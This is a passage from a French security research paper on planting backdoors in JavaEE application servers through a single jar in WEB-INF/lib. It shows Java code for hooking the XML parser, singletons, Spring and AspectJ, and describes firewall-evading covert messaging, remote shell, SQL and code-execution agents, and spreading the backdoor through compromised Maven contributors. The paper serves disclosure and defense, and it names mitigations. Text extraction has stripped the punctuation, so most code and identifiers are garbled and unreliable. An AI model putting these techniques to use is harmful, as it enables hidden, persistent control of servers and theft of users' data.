si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

